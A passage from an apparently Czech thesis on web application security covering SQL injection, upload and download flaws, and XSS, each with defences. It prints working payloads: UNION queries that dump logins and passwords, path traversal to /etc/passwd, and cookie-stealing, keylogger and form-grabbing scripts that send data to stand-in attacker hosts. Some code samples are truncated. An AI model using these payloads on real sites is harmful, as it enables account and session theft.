Třetího sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME != char(hexakod_nazvu_prvniho_sloupce) AND COLUMN_NAME != char(hexakod_nazvu_druheho_sloupce) -Pro vyhledávání předem odhadnutelného názvu sloupce jako např. username, login, pass, password apod. může útočník využít konstrukci: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME LIKE char(37,112,97,115,115,37) -Tento konkrétní příklad hledá název sloupce "pass". Nyní již přichází finále celého útoku sestavením dotazu na uživatelské jména a hesla uživatelů. Pokud útočník nalezl v databázi tabulku users se sloupci login a password, jednoduše sestaví dotaz: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,concat(login,char(58,58),password),3,4,5,6,7 FROM users -Výsledkem jsou uživatelská jména a hesla vypsaná na webové stránce. Celý útok lze zjednodušit a zrychlit použitím automatizovaných nástrojů pro zjišťování struktury databáze jako program Absinthe.
16
Obrázek 1: Zádání parametrů útoku programu Absinthe
Obrázek 3: Získávání dat z databáze programem Absinthe
18
2.1.2.5 Obrana proti SQL Injection Existuje mnoho pseudoochran a návodů, které kolují po Internetu jako vyhledávání nebezpečných konstrukcí v parametru apod. Tyto domnělé ochrany mohou útočníkovi značně ztížit práci, ale neřeší samotnou podstatu útoku. Hlavní chybou programátorů webových aplikací je používání zřetězení stringů do výsledného dotazu a jeho následné odeslání na server. V prvopočátku skriptovacích jazyků programátoři neměli jinou možnost a proto rozvinuli značně sofistikované metody kontrol které používají dodnes. Bohužel útočníci většinou tyto ochrany v průběhu vývoje překonali, o čemž podstatná část vývojářů neví. Příkladem takovéto "pseudoochrany" je nahrazování apostrofu uvozovkami. V případě, že útočník zakóduje svůj vložený string například do hexadecimálního tvaru, při použití techniky zřetězení stringů se z hexadecimálního čísla opět stane útočníkův kód i spřípadnými apostrofy a obrana bude neúčinná. Hlavní podstatou úspěšné ochrany je od verze PHP 5.0 a platformy.NET tzv. oddělené posílání samotného dotazu a jeho parametrů SQL severu. V následující ukázce je vidět chybně napsaný kód ve VB.NET: Dim sql As String sql = "select * from Orders " sql &= " where ID = " & ID try Dim ds As New DataSet Dim MyConnection As SqlConnection = New SqlConnection("data source=localhost;user_id=sa;password=password;") MyConnection.Open() Dim adapter As New SqlDataAdapter(sql,MyConnection) adapter.Fill(ds) MyConnection.Close() catch sex as SqlException Status = sql & " failed" & vbCrLf for each e as SqlError in sex.Errors status &= e.Message & vbCrLf next catch ex as Exception Status = sql & " Chyba" & vbCrLf Status &= ex.ToString() end try
Tento kód obsahuje tři základní chyby. První chyba se nachází na třetím řádku, kdy dochází ke zmiňovanému zřetězení stringů bez jakékoliv kontroly obsahu proměnné ID. Pokud se útočníkovi podaří obsah proměnné ID podvrhnout, je její obsah přímo součástí dotazu do databáze. Druhou chybou je zapisování přístupových údajů přímo do zdrojového kódu aplikace na řádku číslo sedm. Pro inicializaci databáze by měla být v aplikaci napsána funkce, která vrací connection_string například ze šifrovaného tvaru pomocí DPAPI. Poslední chyba se nachází na řádku číslo patnáct. Podstata problému je tom, že aplikace vypisuje uživateli kompletní chybové hlášky, které často obsahují detailní informace o databázi, jako názvy tabulek, sloupců, části kódu a podobně. Správně napsaný kód vypadá následovně:
19
Dim sql sql Dim Dim
sql As String = "select desc from dbo.Orders " &= " where id = @ID" ds As New DataSet MyConnection As SqlConnection
Try
MyConnection = New SqlConnection(ConnString) Dim MyCommand As Data.SqlClient.SqlCommand = New SqlCommand(sql, MyConnection) MyCommand.Parameters.Add(New SqlParameter("@ID", SqlDbType.NVarChar, 1000)) MyCommand.Parameters("@ID").Value = ID Dim adapter As New SqlDataAdapter adapter.SelectCommand = MyCommand adapter.Fill(ds) Catch ex As Exception Status = "Chyba na serveru. Zkuste později" Finally MyConnection.Close() End Try
Rozdíli oproti předchozímu kódu jsou následující: Do samotného dotazu není na třetím řádku předána hodnota proměnné ID, ale odkaz na parametr @ID. Connection_string na sedmém řádku je proměnná pocházející z nějaké ověřovací funkce a nikoliv plain-text. Při volání SQL dotazu je serveru nejprve předán samotný dotaz s odkazem na parametry a až následně samotné parametry. To zapříčiní, že hodnota parametru je brána opravdu jen jako parametr a nemůže žádným způsobem ovlivnit samotný SQL dotaz. I když by proměnná obsahovala jakýkoliv SQL příkaz, tak se již na databázovém serveru neinterpretuje a tím je zajištěna ochrana proti SQL Injection. Posledním rozdílem je způsob zacházení s chybovým výstupem. Na rozdíl od předchozího se při výskytu chyby uživateli vypíše jen obecná chybová hláška bez konkrétních údajů, které by mohl útočník využít. Dalším zlepšením kódu by mělo být zalogování této chybové události s následným zpracováním. Obdobná aplikační vrstva pro přístup do databáze se nachází ve většině dnešních webových skriptovacích jazyků. Bezpečnou konstrukci pro jazyk PHP 5.0 a vyšší ve spojení s MySQL serverem ukazuje následující příklad:
20
/* příprava parametrů*/ mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3); $val1 = 'Stuttgart'; $val2 = 'DEU'; $val3 = 'Baden-Wuerttemberg'; /* provedení dotazu */ mysqli_stmt_execute($stmt); /* změna parametrů */ $val1 = 'Bordeaux'; $val2 = 'FRA'; $val3 = 'Aquitaine'; /* opětovné provedení dotazu */ mysqli_stmt_execute($stmt); /* uzavření dotazu */ mysqli_stmt_close($stmt); /* výpis všech řádků tabulky */ $query = "SELECT Name, CountryCode, District FROM myCity"; if ($result = mysqli_query($link, $query)) { while ($row = mysqli_fetch_row($result)) { printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]); } /* vyčištění výsledku dotazu */ mysqli_free_result($result); } /* odstranění tabulky */ mysqli_query($link, "DROP TABLE myCity"); /* ukončení připojení k databázi */ mysqli_close($link); ?>
Výsledek toho sktiptu je následující: Stuttgart (DEU,Baden-Wuerttemberg) Bordeaux (FRA,Aquitaine)
Jak je vidět, má tato vrstva ještě tu výhodu, že dotaz je beze změny znovu využitelný a mění se jen hodnota předávaných parametrů. Samozdřejmostí by mělo být i kontrolování samotných hodnot parametrů, ne již z důvodu možné SQL Injection, ale typové kompatibility apod. Pokud například v parametru očekáváme číslo není důvod nepoužít funkci inval($promenna) nebo podobnou, která vrátí číselnou hodnotu v proměnné nebo 0 v případě, kdy proměnná číselnou hodnotu neobsahuje. Další věcí na kterou by si měl dát programátor pozor, jsou hodnoty uložené v databázi, které se vypisují na výstup webové aplikace. Tyto hodnoty, pokud to není žádoucí, by se měly kontrolovat na výskyt HTML kódu který by v případě výpisu mohl změnit výstup aplikace. Tímto způsobem je například možné spustit na uživatelské straně javascriptový kód. Před uložením těchto dat je dobré tyto znaky vyescapovat nebo nahradit HTML entitami. Na to se například v PHP 21
výborně hodí funkce htmlspecialchars(), která převádí potencionálně nebezpečné znaky v argumentu funkce na HTML entity. Příklad: Test", ENT_QUOTES); echo $new; ?>
Nedílnou součástí bezpečnosti je také používání adekvátních přístupových práv. V žádném případě by se aplikace neměla připojovat do databáze s administrátorskými právy, ani právy vlastníka databáze. Pokud by došlo ke kompromitaci aplikace, má útočník pouze omezené možnosti zneužití databáze. Nebude ji moci celou smazat a v případě MSSQL severu nebude mít dostatečná práva pro vytvoření lokálního administrátora systému viz. výše.
2.1.2.6 Shrnutí SQL Injection I přes dlouhou dobu, kdy je tato chyba známa, patří stále mezi jednu z nejrozšířenějších a nejzneužívanějších chyb internetových aplikací. Je to dáno zřejmě tím, že programátoři jsou zvyklí používat metodu sčítání stringů a ani s příchodem nových postupů v podobě odděleného předávání parametrů databázovému serveru svůj zvyk nechtějí měnit. Její rozšířenosti též napomáhá rozšířenost jazyka SQL, který používají téměř všechny databázové servery a nezávislost na programovacím jazyku, ve kterém je aplikace napsána.
22
2.2 Neochráněný upload a download souborů V tomto typu útoku útočník využívá chyby programátora, kdy nedostatečně ošetří parametry skriptů zajišťující upload či download souborů. Tato chyba se často vyskytuje v diskusních fórech, webech 2.0, komunitních aplikacích a obecě tam, kde má uživatel možnost nahrávat soubory, nebo soubory stahovat pomocí skriptu a nikoliv přímého odkazu.
2.2.1 Možnosti zneužití neochráněného uploadu Ač se to na první pohled nemusí zdát, tato chyba může mít naprosto fatální následky. Pro příklad mějme webovou aplikaci napsanou v jazyce PHP, která obsahuje diskusní fórum, kde si mohou uživatelé ke svému profilu nahrát obrázek tzv. avatar. Pokud nebude mít aplikace kontrolu typu souboru, který uživatel uploaduje, může útočník nahrát na server libovolný php skript. Následně si zobrazí zdrojový html kód diskusního fóra. kde jako zdroj obrázku bude cesta k jeho skriptu např:
Tímto útočník zjistí umístění svého scriptu. Spuštění skriptu docílí pouhým jeho zavoláním ze svého webového prohlížeče. Nyní se jedná o klasickou PHP Injection a útočník má všechny možnosti jejího zneužití viz. výše.
2.2.2 Možnosti zneužití neochráněného downloadu Tato chyba hrozí v případě, kdy je k downloadu souborů z webové aplikace použit na místo přímého odkazu na soubor skript, který má jako parametr cestu k souboru. Pokud je tento skript napsám nedbale a nejsou kontrolovány jeho parametry, může dojít ke stažení citlivých údajů ze serveru jako jsou konfigurační soubory, neveřejné dokumenty, nebo i zdrojové kódy aplikace. Příklad chybně napsaného skriptu:
Tento skript odešle uživateli jakýkoliv soubor jehož umístění v adresářové struktuře serveru dostane jako parametr. Pokud bude webová aplikace uložena v adresáři /website, lze stáhnou zdrojový kód stránky index.php pouhým zadáním URL: http://www.server.cz/dowload.php?file=/website/index.php
Je možné stáhnout libovolný soubor pro který má webový server práva pro čtení, tedy například i /etc/passwd s uloženými uživatelskými údaji.
23
2.2.3 Kontrola typu souborů při uploadu Kontrola typu uploadovaného souboru se běžně provádí různými způsoby, bohužel jen málo z nich zaručuje stoprocentní ochranu proti vložení spustitelného skriptu. Správným postupem je porovnání přípony vkládaného souboru s předem definovanými možnostmi. Následný kód ukazuje univerzálně použitelnou funkci v PHP, která si sama generuje HTML formulář a používá kontrolu přípony uploadovaného souboru. Nahrát soubor(y): "; for($x=0;$x<$pocet_souboru;$x++){ $form .= " "; } $form .= " Maximální délka názvu souboru je 15 znaků bez přípony, povolené přípony: "; for($x=0;$x $value){ if($_FILES["file"]["name"][$key]!=""){ if($value==UPLOAD_ERR_OK){ $origfilename = $_FILES["file"]["name"][$key]; $filename = explode(".", $_FILES["file"]["name"][$key]); $filenameext = $filename[count($filename)-1]; unset($filename[count($filename)-1]); $filename = implode(".", $filename); $filename = substr($filename, 0, 15).".".$filenameext; $file_ext_allow = FALSE; for($x=0;$x
24
} }
$cilovy_adresar.$filename)){ echo("Soubor úspěšně nahrán na server. "); }else{ echo($origfilename." Chyba při nahrávání souboru. "); } }else{ echo($origfilename." Soubor je příliš veliký, max velikost=".$max_velikost."B. "); } }else{ echo($origfilename." nepovolená přípona souboru. "); } }else{ echo($origfilename." Chyba při nahrávání souboru. "); }
}
} ?>
Funkce má čtyři prametry: počet souborů, které chceme nahrát na server, seznam povolených přípon souborů, maximální velikost souboru a cestu k cílovému adresáři na serveru. vykonává jednu ze dvou činností. V případě zavolání s nedefinovanou proměnnou $_POST["odeslano"] vypíše na výstup webový formulář s počtem vstupních polí podle parametru funkce. Pokud je funce volána s proměnnou $_POST["odeslano"] = TRUE zpracovává příchozí soubor(y) následujícím způsobem. Pro každý příchozí soubor zkontroluje jeho úspěšné nahrání na server, omezí délku názvu souboru na maximálně 15 znaků, zkontroluje, zda přípona souboru koresponduje s jednou z předem stanovených možností a pokud ano, tak soubor uloží do adresáře specifikovaného v parametru funkce. Jedinou správnou medodou je kontrola přípony proti povoleným typům koncovky. Kdyby skript kontroloval příponu na výskyt nepovolených možností, může útočník uploadovat soubor ve tvaru nazev.php.bar. Tento soubor by kontrolou prošel. Nastává ovšem problém při jeho zavolání. Pokud nezná server poslední příponu, tak v závislosti na konfiguraci webového serveru ji může ignorovat a použít druhou příponu zprava. Jelikož jde o .php tak se tento skript interpretuje a nastává případ PHP Injection. Druhou často používanou metodou je kontrola MIME (Multipurpose Internet Mail Extensions) typu souboru. To samo o sobě neznemožňuje upload interpretovatelného skriptu, jelikož hodnotu MIME typu generuje prohlížeč uživatele a je možné ji zfalšovat. MIME rozšíření nebylo navrženo pro ověřování typu souboru a proto by pro tuto činnost nemělo používat. Dalším způsobem je u webového serveru Apache ve spojení s PHP možnost pomocí souboru .htaccess zakázat skriptování ve složce, kam budou soubory uploadovány. Řádek, který musíme do .htaccess přidat pro zakázání interpretace skriptů: php_flag engine off
Problém nastává v případě, že skript dovoluje upload opravdu libovolného souboru - tedy i nového .htaccess. Uploadem tohoto souboru, který již skriptování nezakazuje, nebo v případě globálního zákazu v konfiguračním souboru webového serveru opět povoluje a uploadem libovolného .php skriptu dosáhne útočník opět PHP Injection.
25
2.2.4 Kontrola parametrů skriptu pro download souborů Hlavní podstatou kontroly parametrů skriptu pro download souborů je zamezit možnosti stahovat ze serveru zdrojové kódy skriptů. Nejjednoduší obranou je kontrola přípony stahovaného souboru. Následující ukázka představuje jednu z možností: 404 File not found!"); } //zjištění hodnot pro odesílané hlavičky $len = filesize($file); $filename = basename($file); $pripona = strtolower(substr(strrchr($filename,"."),1)); switch( $pripona ) { case "php": die("Nelze použít pro '$pripona' soubory"); break; case "php5": die("Nelze použít pro '$pripona' soubory"); break; case "phtm": die("Nelze použít pro '$pripona' soubory"); break; } header("Content-Description: File Transfer"); header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=\"$filename\""); header("Content-Transfer-Encoding: binary"); header("Content-Length: $len"); @readfile("$file"); ?>
Skripty podobné tomuto sice opravdu zabrání stažení zdrojových souborů skriptů, ale mají i svoje nevýhody. Domělá ochrana pomocí nastavení defaultního adresáře je naprosto neúčinná, protože při užití adresáře . a .. lze adresářovou strukturou procházet bez omezení. Tedy pokud to nastavení práv umožní, pak může útočník zavoláním následující URL získat soubor /etc/passwd http://www.server.cz/download.php?file=../../../../etc/passwd
Další problém je ten, že lze stahovat všechny soubory kromě skriptů. Pokud se útočníkovi podaří najít např. zálohy skriptů .bak nebo soubory s konfigurací .conf apod, nic mu nezabrání v jejich stažení. Daleko lepší metodou, lehce složitější na implementaci zato s většími možnostmi, je použití databáze. Jako parametr skriptu se nepředává cesta k souboru, nýbrž klíč, který nemusí mít s fyzickou cestou k souboru nic společného. Výhody jsou ty, že lze stahovat jen soubory předem definované v databázi a její širší využití např. pro logování každého dowloadu apod. Následující příklad ukazuje možnou implementaci v jazyce PHP a databázi MySQL. 26
Mějme dvě tabulky files a downloads První obsahuje informace o stáhnulelných souborech a druhá představuje log dálostí, kdy kdo co stáhl. Struktura tabulky files: CREATE TABLE files ( label varchar(255) NOT NULL default '', filename varchar(255) NOT NULL default '', UNIQUE KEY label (label), KEY filename (filename) ) TYPE=MyISAM;
Struktura tabulky downloads: CREATE TABLE downloads ( id int(11) NOT NULL auto_increment, time timestamp(14) NOT NULL default '', referer varchar(50) NOT NULL default '', ip varchar(136) NOT NULL default '', addr varchar(255) NOT NULL default '', file varchar(20) NOT NULL default '', PRIMARY KEY (id), KEY referer (referer,file) ) TYPE=MyISAM;
Samotný skript pro download bude jako v předchozím případě přijímat parametr file, který ovšem nebude konkrétní cestou v ardesářové struktuře, ale jen klíčovým slovem pro vyhledání v databázi. Zdrojový kód skriptu download.php: '); $entry = MySQL_Fetch_Array($data); if ($entry["filename"] == '') { // file not found > redivert $location = $web_url; Header("Location: $location"); // přesměruj prohlížeč exit; } else $location = $entry["filename"]; $ip = $_SERVER["REMOTE_ADDR"]; // informace o čtenáři,odděleno | if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip .= '|'. $_SERVER["HTTP_X_FORWARDED_FOR"]; if (isset($_SERVER["HTTP_FORWARDED"])) $ip .= '|'. $_SERVER["HTTP_FORWARDED"]; if (isset($_SERVER["HTTP_CLIENT_IP"])) $ip .= '|'. $_SERVER["HTTP_CLIENT_IP"]; if (isset($_SERVER["X_HTTP_FORWARDED_FOR"])) $ip .= '|'. $_SERVER["X_HTTP_FORWARDED_FOR"];
Skript nejprve ověří, zda se v databázi nachází záznam s klíčovým slovem předaným v parametru. Pokud ano, uloží všechny dostupné údaje o uživateli do logovací tabulky v databázi, nastaví potřebné hlavičky pro přenos a odešle soubor uživateli. V případě nenalezeného záznamu přesměruje uživatele na defaultní stránku aplikace specifikovanou v proměnné $web_url.
2.2.5 Shrnutí Tyto útoky se často vyskytují i v jinak dobře zabezpečených aplikacích. To je dáno především tím, že programátoři nemají představu o možnostech zneužití těchto chyb, popřípadě jejich řešení zabezpečení je implementováno špatně. Na Internetu je možné se setkat i se špatně nekonfigurovanými webhostingy, které umožňují procházení libovolných adresářů a tudíž tato chyba v jediné webové aplikaci má za následek kompromitaci všech webových aplikací na hostingu.
28
3 Útoky proti uživateli internetové aplikace 3.1 XSS - Cross-Site Scripting Cross-site scripting, neboli skriptování napříč weby, je v současné době jednou z nejznámějších a také nejzneužívanejších technik k napadení webové aplikace. Za její rozšířenost může především fakt, že velká část webových vývojářů jí nepřikládá velkého významu a nemají představu o možném dopadu úspěšného útoku.
3.1.1 Obecně o XSS Cílem XSS je docílit stavu, kdy webová aplikace zašle uživateli výstup obsahující útočníkův javascriptový kód. Tato chyba se objevuje nejčastěji tam, kde uživatele mohou zadávat do aplikace vlastní data, která se následně zobrazují na výstupu webové aplikace. Typicky se jedná o vyhledávací formuláře, internetová fóra, diskuse apod. Zranitelnost XSS v poslední době měla za následek napadení velkého množství webových stránek a to i velice významých serverů jako fbi.gov, cnn.com, ebay.com, microsoft.com či zive.cz. Tato metoda využívá chyb programátorů, kdy nedostatečně ošetřují data vypisovaná na výstup. XSS se dělí na několik základních skupin. Jsou to trvalá (persistent) a dočasná (nonpersistent) XSS, dále tzv. In-line neboli Self-contained XSS a DOM-based XSS. Persistent XSS se vyskytuje především ve fórech, návštěvních knihách a podobně. Její hlavní vlastností je to, že po úspěšném útoku zůstává vložený javaskriptový kód na napadené stránce trvale. Například po vložení příspěvku obsahující útočníkův javascript do návštěvní knihy, která obsahuje chybu XSS, se tento kód provede všem uživatelům, kteří tuto webovou stránku navštíví. Tento typ chyby je méně častý, protože při psaní webové aplikace je patrnější, že k tomuto může dojít a programátoři si již na tento typ dávají pozor. Úspěšným provedením má útočník celou webovou stránku kompletně k dispozici, jelikož pomocí javascriptu lze přistupovat ke stránce přes DOM (Document Object Model). Útočník může oběť přeměrovat na jinou stránku, změnit vzhled stránky nebo odesílat údaje o uživatelích na svůj server. Non-persistent XSS se liší v tom, že kód, který se prování, je součástí požadavku na server. Nejčastěji se s tímto typem setkáváme u vyhledávacích formulářů, chybových stránek apod. U tohoto typu útoku je většinou nutná spolupráce oběti v podobně kliknutí na odkaz či podobně. In-line/Self-contained XSS je způsob přímého volání javascriptu, například v odkazu podobně jako: Odkaz
Takto zavolaný odkaz provede javascriptový kód v kontextu webové stránky, ze které je volán. S tímto typem se nejčastěji setkáme u diskusních fór apod, kde mohou uživatelé vkládat odkazy na jiné stránky. Posledním typem je DOM-based XSS. Tato chyba může nastat při zpracování parametrů stránky javascriptem, který nějaký předaný parametr vypisuje na stránku. pokud útočník předá v hodnotě takovéhoto parametru vlastní javascriptový kód, tak tak se opět provede v kontextu dané stránky.
29
3.1.2 Možnosti zneužití XSS Ač se na první pohled nemusí zdát, že tento typ útoku může mít nejaké fatální následky pro webovou aplikaci, jako v případě předchozích typů útoků proti serverové části, opak je pravdou. V případě persistent XSS může útočník změnit kompletně celou webovou stránku. Většinou má útok jeden ze dvou scénářů. Buďto veřejně viditelný, jakým může být tzv. deface stránky, kdy útočník stránku změní za svojí, či přímo přesměruje prohlížeč na jiný server. Toto je sice velice nepříjemné, nicméně po odstranění chyby nehrozí žádné další ohrožení aplikace. Druhou, potencionálně více nebezpečnoou možností, je spouštět neviditelný javascriptový kód, který bude logovat činnost uživatele a odesílat ji na útočníkův sever. Zejména se jedná o hodnoty cookies, které mohou obsahovat SID relace, které by mohl útočník použít pro krádež identity uživatele viz dále. Je dokonce možné v javascriptu napsat keylogger, který všechny klávesy stisknuté při aktivním okně stránky odešle na útočníkův server. Toto se stává kritické, v případě výskytu XSS na stránce s přihlašovacím formulářem. Útočník takto může dlouhou dobu nepozorovaně získávat uživatelská jména a hesla nic netušících uživatelů. V případě non-persistent, In-line/Self-contained i DOM-based XSS jsou možnosti zneužití totožné s tím rozdílem, že javascriptový kód se nevykoná automaticky při načtení samotné stránky. Je nutné ho vyvolat nějakou akcí, jako je kliknutí na odkaz apod, kdy dojde k předání nebezpečných parametrů webové aplikaci, která vygenetuje výstup obsahující útočníkův javascript. Útok většinou probíhá způsobem, kdy se útočník snaží přesvědčit oběť, aby klikla na odkaz v e-mailu, internetovém fóru apod., který by daný útok spustil.
3.1.3 Příklady útoků XSS krádež cookie V případě persistent XSS útočník často využívá této chyby k získání cookies oběti. Pokud je v cookies přenášeno SID - session ID, které identifikuje uživatele k dané relaci na serveru, může útočník použitím tohoto údaje vystupovat do odhlášení uživatele pod jeho identitou. Skripty pro odcizení cookies mohou vypadat následovně: <script>document.location.replace(‘http://www.utocnikuv_web.cz/getcookie .php‘+document.cookie);
V tomto případě útočník přesměruje uživatele na svojí stránku, kde skript getcookie.php zpracuje příchozí cookie např. tak, že ji uloží do souboru či databáze. Další možností je javascriptem vyplnit a odeslat formulář na útočníkovy stránky: <script> document.write(““); atackform.submit();
Tyto dvě varianty mají tu nevýhodu, že dochází k přesměrování uživatele na útočníkův web. To může mít za následek brzké odhalení chyby, čemuž se snaží útočník vyhnout. Pro odeslání dat bez přesměrování lze ovšem využít například parametr vkládaného obrázku. Příklad:
30
<script>document.write(““);
Pokud útočník nastaví velikost obrázku na 0 x 0 pixelů jako v tomto případě, je tento typ útoku téměř nezpozorovatelný. Rozdíl v možnosti zneužití mezi persistant a ostatními druhy XSS není žádný. Liší se pouze způsob použití, kdy u persistent XSS útočník jedním úspěšným útokem může získat data od velkého množství uživatelů bez jejich vědomí. Oproti ostatním druhům, kdy je nutná spolupráce uživatele například v podobě kliknutí na útočníkem vytvořený odkaz. Pro konkrétní příklad mějme webový portál, který obsahuje různé služby jako webmailového klienta, datové úložiště a podobně. Ověřování uživatele je po jeho přihlášení prováděno pouze předávání SID v cookie. Mějme v aplikaci webový formulář pro vyhledávání dat na daném portálu, který obsahuje chybu XSS:
Pokud výsledek hledání obsahuje doslovně přepsaný vstupní řetězec, např: Výsledek hledání dotazu: dotaz_zadaný_do_webového_formuláře: a nejsou filtrovány znaky jako <, > a podobně, lze získat uživatelovu cookie tím, že ho útočník nějakým způsobem přiměje k navštívení odkazu: http://www.webportal.cz/search.php?query=<script>document.write(““);
což je pouze předchozí URL jak ji zakóduje webový prohlížeč. Skript mailcookie.php na útočníkově serveru, který odešle ukradená data na útočníkův email by mohl vypadat:
Skript vytvoří e-mailovou zprávu s údaji uživatele IP adresa, referer, user Aget prohlížeče, hodnota odcizené cookie a odešle ji na útočníkův e-mail. Jak bylo napsáno výše, útočník může na serveru 31
pracovat pod identitou napadeného uživatele do jeho odhlášení, kdy dojne k zneplatnění odcizeného SID. Využití událostí Události jazyka javascript ve spojení s XSS představují pro útočníka široké možnosti útokoku. Příkladem může být keylogger - skript, který loguje všechny stisknuté klávesy uživatelem a následně je odesílá na útočníkův server. Pokud webová stránka náchylná na XSS obsahuje přihlašovací formulář, je tímto způsobem možné odchytit uživatelská jména a hesla. Postup útočníka by byl následující. Pomocí události onload uživatele po určité době odhlásit s chybovou hláškou v alert okně, která vyzývá k opětovnému přihlášení. Následně spustit keylogger a nechat si uživatelské jméno a heslo odeslat na server. Zdrojový kód keyloggeru by mohl vypadat následovně: <script> function sendkeylog (keylog) { if (window.ActiveXObject) { httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); } else { httpRequest = new XMLHttpRequest(); } httpRequest.open("GET", "http://www.utocnikuv_web.cz/savekeylog.php? keylog="+keylog, true); httpRequest.send(null); } function savekeycode (e) { keylog+=String.fromCharCode(e.charCode); if ((keylog.length==5)||(e.keyCode==13)) { sendkeylog(keylog); keylog=""; } } keylog=""; document.onkeypress=savekeycode;
Další velice zajímavou možností je odeslat přímo data vložená do formuláře. Pokud se na stránce nachází přihlašovací formulář s parametry username, pass a tlačítkem Prihlasit, tak následující skript po stisknutí tlačítka odešle hodnoty v polích username a password na útočníkovu stránku. <script> function sendpass(){ var username = document.getElementById("username").value; var pass = document.getElementById("password").value; document.images[0].src="http://atacker.com/writepass? pass="+pass+"&username="+username; } document.getElementById("Prihlasit").onclick = sendpass;
32
metody skrývání skriptu Pokud je například odkaz na který se snaží útočník nalákat svoji oběť v nekódovaném formátu, jako: http://www.server.cz/search?q=<script>document.write("XSS");
Může uživatel snadno přijít na to, že se je jedná o podvod. Proto útočníci vkládaný skript různým způsobem kódují pro menší čitelnost. Prvním způsobem může být převést řetězec pomocí URL kódování. Stejný skript jako v předchozím případě by pak vypadal: http://www.server.cz/search?q=%3C%73%63%72%69%70%74%3E%61%6C %65%72%74%28%5C%27%58%53%53%5C%27%29%3B%3C%2F%73%63%72%69%70%74%3E
Další možnost je použít funkce String.fromCharCode(); <script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62, 97,108,101,114,116,40,39,88,83,83,39,41,59,60,47,115,99,114,105,112,116, 62));
Popřípadě převést znaky na HTML entity: http://www.server.cz/search?q= <script>aler 6;('xss');
Z takto upraveného skriptu již na první pohled není jeho funkčnost patrná. Navíc tyto metody mohou sloužit i k obejití různých filtrů, které se aplikují na uživatelstký vstup. Další možnost funguje jen na prohlížečích jako Opera či firefox, ale ne v případě použití Internet exploreru společnosti Microsoft. Jedná se o Self-contained XSS s použitím protokolu data:.Tato konstrukce bývá často při tvorbě filtrů proti XSS opomíjena. Způsob zápisu nebezpečného odkazu vypadá nasledovně: Odkaz
Samotný javascriptový kód je zakódován do base64 kódu, a proto je filtry téměř nedekovatelný. V případě obrany proti tomuto typu musí programátor filtrovat například řetězec "data:" viz. dále. vzdálené vkládání kódu Pokud je útočníkův javascriptový kód rozsáhlý a výsledné URL by bylo nápadně dlouhé, lze zdrojový kód uložit na server a následně volat z tohoto umístění jako externího zdroje. Příklad konstrukce: <script src="http://www.utocnikuv_web.cz/utocnikuv_script.js">
33
XSS Proxy Toto zneužití XSS má za následek úplné ovládnutí prohlížeče oběti. První demonstraci tohoto útoku provedl v roce 2005 Anton Rager. V tomto útoku se jedná o spuštění javascriptu, který v nevidilném rámu okna komunikuje se serverem útočníka, ze kterého stahuje javascriptové příkazy. Ty spouští v kontextu uživatelova prohlížeče a výsledky může odesílat zpět na útočníkův server pomocí http requestu. Útočník má tak možnost surfovat po Internetu pod identitou své oběti způsobem, kdy do skrytého iframe načítá libovolné stránky, které si následně posílá na svůj server, kde je zobrazuje. Samozdřejmě pokud uživatel opustí napadenou stránku tak se spojení s útočníkem přeruší. To se XSS proxy snaží obejít tím, že všem odkazům na napadené stránce doplní parametr target="_blank", který zapříčiní otevření odkazované stránky v novém okně či panelu. Zdrojový kód XSS proxy je možné nalést na adrese http://sourceforge.net/projects/xss-proxy.
3.1.4 Obrana proti XSS Velké množství zdrojů jako obranu proti XSS uvádí důkladné filtrování vstupu od uživatele. To je samozdřejmě dobré, ovšem jako výhodnější se zdá filtrování až při výstupu z aplikace. Může nastat případ, kdy se vstupní data, která na první pohled neobsahují škodlivý kód, po průchodu aplikací, databází a podobně změní do formy obsahující spustitelný kód. Proto je jednodušší všechny výstupy z aplikace ošetřit funkcí, která nahrazuje potencionálně nebezpečné znaky jejich bezpečnými entitami. V PHP je to například funkce htmlspecialchars(). Základní programátorský návyk by měl být při každém volání funkce echo pokužití konstukce: echo(htmlspecialchars("to co chci vypsat na výstup"));
Pouze při výpisu html tagů ošetřovat jen vypisované proměnné a nahrazovat specifické znaky, zejména : (dvojtečku) za jeho bezpečnou variantu : z důvodu výše zmíněné konstrukce data:text/html;. V případě nutnosti vkládat do stránky HTML tagy zadané uživatelem, je vhodné použít seznamy povolených tagů a pečlivě kontrolovat jejich parametry před vypsáním na výstup. Při znalosti principu XSS není těžké napsat filtr, který bezpečně odstraní nepovolené konstrukce nebo je nahradí jejich bezpečnými ekvivalenty. Tyto filtry by měli být psány jako víceprůchodové, respektive je zacyklit do té doby, dokud je vstupní řetězec tímto fitrem pozměňován.
3.1.5 Shrnutí Cross-Site Scripting Cross-Site Scripting je jednou z nejpodceňovanějších chyb ve webových aplikacích současnosti. Je to dáno především neznalostí webových vývojářů o možných důsledcích této zranitelnosti. Zabezpečení proti této zranitelnosti je dobré provádět globálně v celé aplikaci i na místech kde je nepravděpodobné místo zneužití. Tím se ušetří značná mentální námaha programátora s rozhodováním, kde ošetřit a neošetřit danou aplikaci.
34
3.2 CSRF - Cross Site Request Forgery Metoda někdy též nazývaná "Cross Site Reference Forgery" CSRF či XSRF je v současné době velice rozšířenou a často zneužívanou metodou útoku proti uživateli webové aplikace. Důvodem jejího rozšíření je lehká možnost zneužití a programátorsky složitější implementace zabezpečení.
